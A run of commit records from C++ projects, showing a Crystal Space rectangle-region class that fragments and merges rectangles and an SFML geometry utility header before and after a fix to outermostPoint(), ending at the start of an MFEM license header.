}
region_count=gather_mark;
}
void csRectRegion::Include(csRect &nrect)
{
// Ignore an empty rect
if (nrect.IsEmpty())
return;
// If there are no rects in the region, add this and leave.
if (region_count == 0)
{
pushRect(nrect);
return;
}
int i;
bool no_fragments;
csRect rect(nrect);
/// Clear the fragment buffer
for(i=0; i<32; ++i)
fragment[i].MakeEmpty();
do
{
bool untouched=true;
no_fragments=true;
// Otherwise, we have to see if this rect creates a union with any other
// rectangles.
for(i = 0; i < region_count; i++)
{
csRect &r1 = region[i];
csRect r2(rect);
// Check to see if these even touch, if not, next.
if (r2.Intersects(r1)==false)
continue;
// If r1 totally contains rect, then we leave.
r2.Exclude(r1);
if (r2.IsEmpty())
{
// Mark it so we don't add it in
untouched=false;
break;
}
// If rect totally contains r1, then we kill r1 from the list.
r2.Set(r1);
r2.Exclude(rect);
if (r2.IsEmpty())
{
// Kill from list
deleteRect(i);
// Iterate
continue;
}
// Otherwise we have to do the most irritating part: A full split operation
// that may create other rects that need to be tested against the database
// recursively. For this algorithm, we fragment the one that is already in
// the database, that way we don't cause more tests: we already know that
// that rect is good.
r2.Set(rect);
// Kill rect from list
deleteRect(i);
// Fragment it
fragmentRect(r1, r2, MODE_INCLUDE);
// Mark it
untouched=false;
} // end for
// In the end, we need to put the rect on the stack
if (!rect.IsEmpty() && untouched) pushRect(rect);
// Check and see if we have fragments to consider
for(i=0; i<32; ++i)
{
if (!(fragment[i].IsEmpty()))
{
rect.Set(fragment[i]);
fragment[i].MakeEmpty();
no_fragments=false;
break;
}
}
} while(!no_fragments);
}
void
csRectRegion::Exclude(csRect &nrect)
{
// Ignore an empty rect
if (nrect.IsEmpty())
return;
// If there are no rects in the region, just leave.
if (region_count == 0)
return;
int i;
csRect rect(nrect);
/// Clear the fragment buffer
for(i=0; i<32; ++i)
fragment[i].MakeEmpty();
// Otherwise, we have to see if this rect overlaps or touches any other.
for(i = 0; i < region_count; i++)
{
csRect r1(region[i]);
csRect r2(rect);
// Check to see if these even touch
if (r2.Intersects(r1)==false)
continue;
// Check to see if the inclusion rect is totally dominated by the exclusion rect.
r1.Exclude(r2);
if (r1.IsEmpty())
{
deleteRect(i);
i=0;
continue;
}
// Check to see if the exclusion rect is totally dominated by the exclusion rect
r1.Set(region[i]);
r2.Exclude(r1);
if (r2.IsEmpty())
{
r2.Set(rect);
deleteRect(i);
fragmentContainedRect(r1, r2);
i=0;
continue;
}
r2.Set(rect);
// This part is similiar to Include, except that we are trying to remove a portion. Instead
// of calling chopEdgeIntersection, we actually have to fragment rect1 and chop off an edge
// of the excluding rect. This code should be handled inside fragment rect.
// Kill rect from list
deleteRect(i);
// Fragment it
fragmentRect(r1, r2, MODE_EXCLUDE);
} // end for
// Check and see if we have fragments to consider
/*for(i=0; i<32; ++i)
{
if (!(fragment[i].IsEmpty()))
{
rect.Set(fragment[i]);
fragment[i].MakeEmpty();
no_fragments=false;
break;
}
}*/
//} while(!no_fragments);
}
<commit_msg>Fixed a few other small bugs here and there.<commit_after>/*
Copyright (C) 2001 by Christopher Nelson
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public
License along with this library; if not, write to the Free
Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "cssysdef.h"
#include "csgeom/csrectrg.h"
#include <stdio.h>
const int MODE_EXCLUDE=0;
const int MODE_INCLUDE=1;
csRectRegion::csRectRegion() : region(0), region_count(0), region_max(0) {}
csRectRegion::~csRectRegion()
{
if (region != 0)
free(region);
}
void csRectRegion::pushRect(csRect const &r)
{
if (region_count >= region_max)
{
region_max += 64;
int const nbytes = region_max * sizeof(region[0]);
if (region == 0)
region = (csRect*)malloc(nbytes);
else
region = (csRect*)realloc(region, nbytes);
}
region[region_count++] = r;
}
void csRectRegion::deleteRect(int i)
{
if (region_count > 0 && i >= 0 && i < --region_count)
memmove(region + i, region + i + 1, (region_count - i) * sizeof(region[0]));
}
void
csRectRegion::makeEmpty()
{
region_count=0;
}
// This operation takes a rect r1 which completely contains rect r2
// and turns it into as many rects as it takes to exclude r2 from the
// area controlled by r1.
void
csRectRegion::fragmentContainedRect(csRect &r1t, csRect &r2t)
{
// Edge flags
const unsigned int LX=1, TY=2, RX=4, BY=8;
unsigned int edges=0;
csRect r1(r1t), r2(r2t);
// First check for edging.
edges |= (r1.xmin == r2.xmin ? LX : 0);
edges |= (r1.ymin == r2.ymin ? TY : 0);
edges |= (r1.xmax == r2.xmax ? RX : 0);
edges |= (r1.ymax == r2.ymax ? BY : 0);
//printf("csrectrgn: fragmenting with rule %d\n", edges);
//printf("\t%d,%d,%d,%d\n", r1.xmin, r1.ymin, r1.xmax, r1.ymax);
//printf("\t%d,%d,%d,%d\n", r2.xmin, r2.ymin, r2.xmax, r2.ymax);
switch(edges)
{
case 0:
// This is the easy case. Split the r1 into four pieces that exclude r2.
// The include function pre-checks for this case and exits, so it is
// properly handled.
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r1.ymax)); //left
pushRect(csRect(r2.xmax, r1.ymin, r1.xmax, r1.ymax)); //right
pushRect(csRect(r2.xmin, r1.ymin, r2.xmax, r2.ymin)); //top
pushRect(csRect(r2.xmin, r2.ymax, r2.xmax, r1.ymax)); //bottom
return;
case 1:
// Three rects (top, right, bottom) [rect on left side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
pushRect(csRect(r2.xmax, r2.ymin, r1.xmax, r2.ymax)); //right
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 2:
// Three rects (bot, left, right) [rect on top side, middle]
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r2.ymax)); //left
pushRect(csRect(r2.xmax, r1.ymin, r1.xmax, r2.ymax)); //right
return;
case 3:
// Two rects (right, bottom) [rect on top left corner]
pushRect(csRect(r2.xmax, r1.ymin, r1.xmax, r2.ymax)); //right
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 4:
// Three rects (top, left, bottom) [rect on right side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
pushRect(csRect(r1.xmin, r2.ymin, r2.xmin, r2.ymax)); //left
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 5:
// Two rects (top, bottom) [rect in middle, horizontally touches left and right sides]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 6:
// Two rects (left, bottom) [rect on top, right corner]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r1.ymax)); //left
pushRect(csRect(r2.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 7:
// One rect (bottom) [rect covers entire top]
pushRect(csRect(r1.xmin, r2.ymax, r1.xmax, r1.ymax)); //bot
return;
case 8:
// Three rects (top, left, right) [rect on bottom side, middle]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
pushRect(csRect(r1.xmin, r2.ymin, r2.xmin, r1.ymax)); //left
pushRect(csRect(r2.xmax, r2.ymin, r1.xmax, r1.ymax)); //right
return;
case 9:
// Two rects (right, top) [rect on bottom, left corner]
pushRect(csRect(r2.xmax, r2.ymin, r1.xmax, r1.ymax)); //right
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
return;
case 10:
// Two rects (left, right) [rect in middle, vertically touches top and bottom sides]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r1.ymax)); //left
pushRect(csRect(r2.xmax, r1.ymin, r1.xmax, r1.ymax)); //right
return;
case 11:
// One rect (right) [rect on left, vertically touches top and bottom sides]
pushRect(csRect(r2.xmax, r1.ymin, r1.xmax, r1.ymax)); //right
return;
case 12:
// Two rects (left, top) [rect on bottom, right corner]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r1.ymax)); //left
pushRect(csRect(r2.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
return;
case 13:
// One rect (top) [rect on bottom, horizontally touches left and right sides]
pushRect(csRect(r1.xmin, r1.ymin, r1.xmax, r2.ymin)); //top
return;
case 14:
// One rect (left) [rect on right, vertically touches top and bottom ]
pushRect(csRect(r1.xmin, r1.ymin, r2.xmin, r1.ymax)); //bottom
return;
case 15:
// No rects
// In this case, the rects cancel themselves out.
// Include needs to special case this, otherwise it will not
// be handled correctly.
return;
}
}
// The purpose of this function is to take r1 and fragment it around r2,
// removing the area that overlaps. This function can be used by either
// Include() or Exclude(), since it simply fragments r1 (but always checks
// for swapping!) For Exclusion, r2 is ALWAYS the excluding rect!
void csRectRegion::fragmentRect(csRect &r1, csRect &r2, int mode)
{
// We may have to fragment r1 into three pieces if an entire edge of r2 is
// inside r1.
if (r1.Intersects(r2))
{
// Since fragment rect already test for all cases, the ideal method here is to call
// fragment rect on the intersection of r1 and r2 with r1 as the fragmentee. This
// creates a properly fragmented system.
//
// We know that rect1 is already good, so we simply fragment rect2 and gather it's
// fragments into the fragment buffer for further consideration.
//
// In exclude mode, we don't want to remove parts of r2 from r1, whereas in include
// mode we want to perform an optimal merge of the two, or remove parts of r1 from r2.
csRect ri(r1);
ri.Intersect(r2);
if (mode==MODE_INCLUDE)
{
if (r1.Area() < r2.Area())
{
csRect temp(r1);
r1.Set(r2);
r2.Set(temp);
}
// Push r1 back into the regions list
pushRect(r1);
// Perform fragment and gather.
markForGather();
fragmentContainedRect(r2, ri);
gatherFragments();
}
else
{
// Fragment inclusion rect around intersection (keep)
fragmentContainedRect(r1, ri);
}
return;
}
}
void
csRectRegion::markForGather()
{
gather_mark=region_count;
}
void
csRectRegion::gatherFragments()
{
int i,j=gather_mark;
while(j<region_count)
{
for(i=0; i<32; ++i)
if (fragment[i].IsEmpty())
{
fragment[i].Set(region[j]);
j++;
break;
}
}
region_count=gather_mark;
}
void csRectRegion::Include(csRect &nrect)
{
// Ignore an empty rect
if (nrect.IsEmpty())
return;
// If there are no rects in the region, add this and leave.
if (region_count == 0)
{
pushRect(nrect);
return;
}
int i;
bool no_fragments;
csRect rect(nrect);
/// Clear the fragment buffer
for(i=0; i<32; ++i)
fragment[i].MakeEmpty();
do
{
bool untouched=true;
no_fragments=true;
// Otherwise, we have to see if this rect creates a union with any other
// rectangles.
for(i = 0; i < region_count; i++)
{
csRect &r1 = region[i];
csRect r2(rect);
// Check to see if these even touch, if not, next.
if (r2.Intersects(r1)==false)
continue;
// If r1 totally contains rect, then we leave.
r2.Exclude(r1);
if (r2.IsEmpty())
{
// Mark it so we don't add it in
untouched=false;
break;
}
// If rect totally contains r1, then we kill r1 from the list.
r2.Set(r1);
r2.Exclude(rect);
if (r2.IsEmpty())
{
// Kill from list
deleteRect(i);
// Iterate
continue;
}
// Otherwise we have to do the most irritating part: A full split operation
// that may create other rects that need to be tested against the database
// recursively. For this algorithm, we fragment the one that is already in
// the database, that way we don't cause more tests: we already know that
// that rect is good.
r2.Set(rect);
// Kill rect from list
deleteRect(i);
// Fragment it
fragmentRect(r1, r2, MODE_INCLUDE);
// Mark it
untouched=false;
} // end for
// In the end, we need to put the rect on the stack
if (!rect.IsEmpty() && untouched) pushRect(rect);
// Check and see if we have fragments to consider
for(i=0; i<32; ++i)
{
if (!(fragment[i].IsEmpty()))
{
rect.Set(fragment[i]);
fragment[i].MakeEmpty();
no_fragments=false;
break;
}
}
} while(!no_fragments);
}
void
csRectRegion::Exclude(csRect &nrect)
{
// Ignore an empty rect
if (nrect.IsEmpty())
return;
// If there are no rects in the region, just leave.
if (region_count == 0)
return;
int i;
csRect rect(nrect);
/// Clear the fragment buffer
for(i=0; i<32; ++i)
fragment[i].MakeEmpty();
// Otherwise, we have to see if this rect overlaps or touches any other.
for(i = 0; i < region_count; i++)
{
csRect r1(region[i]);
csRect r2(rect);
// Check to see if these even touch
if (r2.Intersects(r1)==false)
continue;
// Check to see if the inclusion rect is totally dominated by the exclusion rect.
r1.Exclude(r2);
if (r1.IsEmpty())
{
deleteRect(i);
i=0;
continue;
}
// Check to see if the exclusion rect is totally dominated by the exclusion rect
r1.Set(region[i]);
r2.Exclude(r1);
if (r2.IsEmpty())
{
r2.Set(rect);
deleteRect(i);
fragmentContainedRect(r1, r2);
i=0;
continue;
}
r2.Set(rect);
// This part is similiar to Include, except that we are trying to remove a portion. Instead
// of calling chopEdgeIntersection, we actually have to fragment rect1 and chop off an edge
// of the excluding rect. This code should be handled inside fragment rect.
// Kill rect from list
deleteRect(i);
// Fragment it
fragmentRect(r1, r2, MODE_EXCLUDE);
} // end for
// Check and see if we have fragments to consider
/*for(i=0; i<32; ++i)
{
if (!(fragment[i].IsEmpty()))
{
rect.Set(fragment[i]);
fragment[i].MakeEmpty();
no_fragments=false;
break;
}
}*/
//} while(!no_fragments);
}
<|endoftext|> |
<commit_before>#ifndef SFUTIL_HPP_INCLUDED
#define SFUTIL_HPP_INCLUDED SFUTIL_HPP_INCLUDED
#include <SFML/Graphics/Rect.hpp>
#include <SFML/System/Vector2.hpp>
#include <SFML/System/Vector3.hpp>
#include <SFML/Graphics/View.hpp>
#include <functional> // std::hash
#include <string>
namespace jd {
std::string const keyName(int keyCode);
// Taken from boost (not available in recent versions (non-standard))
template<typename T, typename H>
inline void hash_combine(
std::size_t& seed,
const T& t,
const H h = std::hash<T>())
{
seed ^= h(t) + 0x9e3779b9 + (seed << 6) + (seed >> 2);
}
// Various math functions //
namespace math
{
double const pi = 3.14159265;
template <typename T>
inline T rad(T degval)
{
return static_cast<T>(degval * pi / 180);
}
template <typename T>
inline T deg(T radval)
{
return static_cast<T>(radval * 180 / pi);
}
template <typename T>
inline T abs(sf::Vector2<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y);
}
template <typename T>
inline T abs(sf::Vector3<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y + v.z * v.z);
}
template <typename T>
inline T angle(sf::Vector2<T> a, sf::Vector2<T> b = sf::Vector2<T>(1, 0))
{
return atan2(a.y, a.x) - atan2(b.y, b.x);
}
template <typename T>
inline T operator* (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return scalar_product(v1, v2);
}
template <typename T>
inline T scalar_product (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return v1.x * v2.x + v1.y * v2.y;
}
} // namespace math
// sf::Rect utilty //
template <typename T>
inline T right(sf::Rect<T> const& r) { return r.left + r.width; }
template <typename T>
inline T bottom(sf::Rect<T> const& r) { return r.top + r.height; }
template <typename T>
inline sf::Vector2<T> topLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, r.top);
}
template <typename T>
inline sf::Vector2<T> topRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), r.top);
}
template <typename T>
inline sf::Vector2<T> bottomRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), bottom(r));
}
template <typename T>
inline sf::Vector2<T> bottomLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, bottom(r));
}
template <typename T>
inline sf::Vector2<T> size(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.width, r.height);
}
template <typename T>
inline sf::Vector2<T> center(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left + r.width / 2, r.top + r.height / 2);
}
template <typename T>
inline sf::Rect<T> pointsToRect(sf::Vector2<T> topLeft, sf::Vector2<T> bottomRight)
{
return sf::Rect<T>(topLeft, topLeft + bottomRight);
}
// sf::Vector utility //
template <typename T>
inline bool isZero(sf::Vector2<T> v)
{
return v.x == 0 && v.y == 0;
}
template <typename T>
inline bool isZero(sf::Vector3<T> v)
{
return v.x == 0 && v.y == 0 && v.z == 0;
}
template <typename T>
inline sf::Vector3<T> vec2to3(sf::Vector2<T> xy, T z = 0)
{
return sf::Vector3<T>(xy.x, xy.y, z);
}
template <typename T>
inline sf::Vector2<T> vec3to2(sf::Vector3<T> xyz)
{
return sf::Vector2<T>(xyz.x, xyz.y);
}
template<typename Target, typename Source>
inline sf::Vector2<Target> vec_cast(sf::Vector2<Source> source)
{
return sf::Vector2<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y)
);
}
template<typename Target, typename Source>
inline sf::Vector3<Target> vec_cast(sf::Vector3<Source> source)
{
return sf::Vector3<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y),
static_cast<Target>(source.z)
);
}
template <template<typename> class V, typename T>
inline T distance(V<T> a, V<T> b)
{
return math::abs(b - a);
}
template <template<typename> class V, typename T>
inline T manhattanDistance(V<T> a, V<T> b)
{
auto const d = b - a;
return std::abs(d.x) + std::abs(d.y);
}
// Is p on the line from a to b?
template <typename T>
bool onLine(sf::Vector2<T> a, sf::Vector2<T> b, sf::Vector2<T> p)
{
sf::Vector2<T> d = b - a;
if (d.x == 0) {
return
p.x == a.x &&
p.y <= std::max(a.y, b.y) && p.y >= std::min(a.y, b.y);
}
if (d.y == 0) {
return
p.y == a.y &&
p.x <= std::max(a.x, b.x) && p.x >= std::min(a.x, b.x);
}
T const n = (p.x - a.x) / d.x;
if (n != (p.y - a.y) / d.y)
return false;
T const m = (b.x - a.x) / d.x;
assert((b.y - a.y) / d.y == m);
return (m >= 0 && (n >= 0 && n < m)) || (m < 0 && (n < 0 && n > m));
}
template <typename T>
sf::Vector2<T> nearestPoint(sf::Rect<T> in, sf::Vector2<T> to)
{
sf::Vector2<T> result = to;
if (to.x < in.left)
result.x = in.left;
else if (to.x > right(in))
result.x = right(in);
if (to.y < in.top)
to.y = in.top;
else if (to.y > bottom(in))
to.y = bottom(in);
return result;
}
template <typename T>
sf::Vector2<T> outermostPoint(sf::Rect<T> in, sf::Vector2<T> d, sf::Vector2<T> from)
{
return sf::Vector2<T>(
d.x == 0 ? from.x : d.x < 0 ? in.left : right(in),
d.y == 0 ? from.y : d.y < 0 ? in.top : bottom(in));
}
template <typename T>
sf::Vector2<T> outermostPoint(sf::Rect<T> in, sf::Vector2<T> d, sf::Rect<T> from)
{
return sf::Vector2<T>(
d.x == 0 ? from.left : d.x < 0 ? in.left : right(in) - from.width,
d.y == 0 ? from.top : d.y < 0 ? in.top : bottom(in) - from.height);
}
// Clipping and line-rectangle intersection //
// (using CohenSutherland algorithm)
namespace clip {
enum T {left = 1, right = 2, lower = 4, upper = 8};
}
template <typename T>
unsigned clipflags(sf::Vector2<T> p, sf::Rect<T> const& r)
{
unsigned k = 0;
if (p.y > bottom(r)) k = clip::lower;
else if (p.y < r.top ) k = clip::upper;
if (p.x < r.left ) k |= clip::left ;
else if (p.x > right(r) ) k |= clip::right;
return k;
}
template <typename T>
void clipPoint(sf::Vector2<T>& p, sf::Vector2<T> d, sf::Rect<T> r, unsigned& k)
{
if (k & clip::left) {
p.y += (r.left - p.x) * d.y / d.x;
p.x = r.left;
} else if (k & clip::right) {
p.y += (right(r) - p.x) * d.y / d.x;
p.x = right(r);
}
if (k & clip::lower) {
p.x += (bottom(r) - p.y) * d.x / d.y;
p.y = bottom(r);
} else if (k & clip::upper) {
p.x += (r.top - p.y) * d.x / d.y;
p.y = r.top;
}
k = clipflags(p, r);
}
template <typename T>
bool clipLine(
sf::Vector2<T>& p1, sf::Vector2<T>& p2,
sf::Rect<T> r)
{
unsigned k1 = clipflags(p1, r), k2 = clipflags(p2, r);
sf::Vector2<T> const d = p2 - p1;
while (k1 || k2) { // at most two cycles
if (k1 & k2) // both outside on same side(s) ?
return false;
if (k1) {
clipPoint(p1, d, r, k1);
if (k1 & k2)
return false;
}
if (k2)
clipPoint(p2, d, r, k2);
}
return true;
}
template<typename T>
bool intersection(
sf::Vector2<T> p1, sf::Vector2<T> p2,
sf::Rect<T> r)
{
sf::Vector2<T> inside1 = p1, inside2 = p2;
return clipLine(p1, p2, r);
}
// sf::View utility //
sf::FloatRect viewRect(sf::View const& view);
void setViewRect(sf::View& view, sf::FloatRect const& newRect);
} // namespace jd
// std::hash support for sf::Vector2<T>, sf::Vector3<T> and sf::Rect<T>
namespace std {
template <typename T>
struct hash<sf::Rect<T>>: public unary_function<sf::Rect<T>, size_t> {
size_t operator() (sf::Rect<T> const& r) const
{
hash<T> hasher;
size_t result = hasher(r.left);
jd::hash_combine(result, r.top, hasher);
jd::hash_combine(result, r.width, hasher);
jd::hash_combine(result, r.height, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector2<T>>: public unary_function<sf::Vector2<T>, size_t> {
size_t operator() (sf::Vector2<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector3<T>>: public unary_function<sf::Vector3<T>, size_t> {
size_t operator() (sf::Vector3<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
jd::hash_combine(result, v.z, hasher);
return result;
}
};
} // namespace std
#endif // include guard
<commit_msg>sfUtil: Fix outerMostPoint().<commit_after>#ifndef SFUTIL_HPP_INCLUDED
#define SFUTIL_HPP_INCLUDED SFUTIL_HPP_INCLUDED
#include <SFML/Graphics/Rect.hpp>
#include <SFML/System/Vector2.hpp>
#include <SFML/System/Vector3.hpp>
#include <SFML/Graphics/View.hpp>
#include <functional> // std::hash
#include <string>
namespace jd {
std::string const keyName(int keyCode);
// Taken from boost (not available in recent versions (non-standard))
template<typename T, typename H>
inline void hash_combine(
std::size_t& seed,
const T& t,
const H h = std::hash<T>())
{
seed ^= h(t) + 0x9e3779b9 + (seed << 6) + (seed >> 2);
}
// Various math functions //
namespace math
{
double const pi = 3.14159265;
template <typename T>
inline T rad(T degval)
{
return static_cast<T>(degval * pi / 180);
}
template <typename T>
inline T deg(T radval)
{
return static_cast<T>(radval * 180 / pi);
}
template <typename T>
inline T abs(sf::Vector2<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y);
}
template <typename T>
inline T abs(sf::Vector3<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y + v.z * v.z);
}
template <typename T>
inline T angle(sf::Vector2<T> a, sf::Vector2<T> b = sf::Vector2<T>(1, 0))
{
return atan2(a.y, a.x) - atan2(b.y, b.x);
}
template <typename T>
inline T operator* (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return scalar_product(v1, v2);
}
template <typename T>
inline T scalar_product (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return v1.x * v2.x + v1.y * v2.y;
}
} // namespace math
// sf::Rect utilty //
template <typename T>
inline T right(sf::Rect<T> const& r) { return r.left + r.width; }
template <typename T>
inline T bottom(sf::Rect<T> const& r) { return r.top + r.height; }
template <typename T>
inline sf::Vector2<T> topLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, r.top);
}
template <typename T>
inline sf::Vector2<T> topRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), r.top);
}
template <typename T>
inline sf::Vector2<T> bottomRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), bottom(r));
}
template <typename T>
inline sf::Vector2<T> bottomLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, bottom(r));
}
template <typename T>
inline sf::Vector2<T> size(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.width, r.height);
}
template <typename T>
inline sf::Vector2<T> center(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left + r.width / 2, r.top + r.height / 2);
}
template <typename T>
inline sf::Rect<T> pointsToRect(sf::Vector2<T> topLeft, sf::Vector2<T> bottomRight)
{
return sf::Rect<T>(topLeft, topLeft + bottomRight);
}
// sf::Vector utility //
template <typename T>
inline bool isZero(sf::Vector2<T> v)
{
return v.x == 0 && v.y == 0;
}
template <typename T>
inline bool isZero(sf::Vector3<T> v)
{
return v.x == 0 && v.y == 0 && v.z == 0;
}
template <typename T>
inline sf::Vector3<T> vec2to3(sf::Vector2<T> xy, T z = 0)
{
return sf::Vector3<T>(xy.x, xy.y, z);
}
template <typename T>
inline sf::Vector2<T> vec3to2(sf::Vector3<T> xyz)
{
return sf::Vector2<T>(xyz.x, xyz.y);
}
template<typename Target, typename Source>
inline sf::Vector2<Target> vec_cast(sf::Vector2<Source> source)
{
return sf::Vector2<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y)
);
}
template<typename Target, typename Source>
inline sf::Vector3<Target> vec_cast(sf::Vector3<Source> source)
{
return sf::Vector3<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y),
static_cast<Target>(source.z)
);
}
template <template<typename> class V, typename T>
inline T distance(V<T> a, V<T> b)
{
return math::abs(b - a);
}
template <template<typename> class V, typename T>
inline T manhattanDistance(V<T> a, V<T> b)
{
auto const d = b - a;
return std::abs(d.x) + std::abs(d.y);
}
// Is p on the line from a to b?
template <typename T>
bool onLine(sf::Vector2<T> a, sf::Vector2<T> b, sf::Vector2<T> p)
{
sf::Vector2<T> d = b - a;
if (d.x == 0) {
return
p.x == a.x &&
p.y <= std::max(a.y, b.y) && p.y >= std::min(a.y, b.y);
}
if (d.y == 0) {
return
p.y == a.y &&
p.x <= std::max(a.x, b.x) && p.x >= std::min(a.x, b.x);
}
T const n = (p.x - a.x) / d.x;
if (n != (p.y - a.y) / d.y)
return false;
T const m = (b.x - a.x) / d.x;
assert((b.y - a.y) / d.y == m);
return (m >= 0 && (n >= 0 && n < m)) || (m < 0 && (n < 0 && n > m));
}
template <typename T>
sf::Vector2<T> nearestPoint(sf::Rect<T> in, sf::Vector2<T> to)
{
sf::Vector2<T> result = to;
if (to.x < in.left)
result.x = in.left;
else if (to.x > right(in))
result.x = right(in);
if (to.y < in.top)
to.y = in.top;
else if (to.y > bottom(in))
to.y = bottom(in);
return result;
}
template <typename T>
sf::Vector2<T> outermostPoint(sf::Rect<T> in, sf::Vector2<T> d, sf::Vector2<T> from)
{
return sf::Vector2<T>(
d.x == 0 ? from.x : d.x < 0 ? in.left + 1 : right(in) - 1,
d.y == 0 ? from.y : d.y < 0 ? in.top + 1 : bottom(in) - 1);
}
template <typename T>
sf::Vector2<T> outermostPoint(sf::Rect<T> in, sf::Vector2<T> d, sf::Rect<T> from)
{
return sf::Vector2<T>(
d.x == 0 ? from.left : d.x < 0 ? in.left + 1 : right(in) - from.width - 1,
d.y == 0 ? from.top : d.y < 0 ? in.top + 1 : bottom(in) - from.height - 1);
}
// Clipping and line-rectangle intersection //
// (using CohenSutherland algorithm)
namespace clip {
enum T {left = 1, right = 2, lower = 4, upper = 8};
}
template <typename T>
unsigned clipflags(sf::Vector2<T> p, sf::Rect<T> const& r)
{
unsigned k = 0;
if (p.y > bottom(r)) k = clip::lower;
else if (p.y < r.top ) k = clip::upper;
if (p.x < r.left ) k |= clip::left ;
else if (p.x > right(r) ) k |= clip::right;
return k;
}
template <typename T>
void clipPoint(sf::Vector2<T>& p, sf::Vector2<T> d, sf::Rect<T> r, unsigned& k)
{
if (k & clip::left) {
p.y += (r.left - p.x) * d.y / d.x;
p.x = r.left;
} else if (k & clip::right) {
p.y += (right(r) - p.x) * d.y / d.x;
p.x = right(r);
}
if (k & clip::lower) {
p.x += (bottom(r) - p.y) * d.x / d.y;
p.y = bottom(r);
} else if (k & clip::upper) {
p.x += (r.top - p.y) * d.x / d.y;
p.y = r.top;
}
k = clipflags(p, r);
}
template <typename T>
bool clipLine(
sf::Vector2<T>& p1, sf::Vector2<T>& p2,
sf::Rect<T> r)
{
unsigned k1 = clipflags(p1, r), k2 = clipflags(p2, r);
sf::Vector2<T> const d = p2 - p1;
while (k1 || k2) { // at most two cycles
if (k1 & k2) // both outside on same side(s) ?
return false;
if (k1) {
clipPoint(p1, d, r, k1);
if (k1 & k2)
return false;
}
if (k2)
clipPoint(p2, d, r, k2);
}
return true;
}
template<typename T>
bool intersection(
sf::Vector2<T> p1, sf::Vector2<T> p2,
sf::Rect<T> r)
{
sf::Vector2<T> inside1 = p1, inside2 = p2;
return clipLine(p1, p2, r);
}
// sf::View utility //
sf::FloatRect viewRect(sf::View const& view);
void setViewRect(sf::View& view, sf::FloatRect const& newRect);
} // namespace jd
// std::hash support for sf::Vector2<T>, sf::Vector3<T> and sf::Rect<T>
namespace std {
template <typename T>
struct hash<sf::Rect<T>>: public unary_function<sf::Rect<T>, size_t> {
size_t operator() (sf::Rect<T> const& r) const
{
hash<T> hasher;
size_t result = hasher(r.left);
jd::hash_combine(result, r.top, hasher);
jd::hash_combine(result, r.width, hasher);
jd::hash_combine(result, r.height, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector2<T>>: public unary_function<sf::Vector2<T>, size_t> {
size_t operator() (sf::Vector2<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector3<T>>: public unary_function<sf::Vector3<T>, size_t> {
size_t operator() (sf::Vector3<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
jd::hash_combine(result, v.z, hasher);
return result;
}
};
} // namespace std
#endif // include guard
<|endoftext|> |
<commit_before>// Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced
// at the Lawrence Livermore National Laboratory. All Rights reserved. See files
// LICENSE and NOTICE for details. LLNL-CODE-806117.
//
// This file is part of the MFEM library. For more information and source code
// availability visit https://mfem.org.
//
// MFEM is free software; you can redistribute it and/or modify it under the
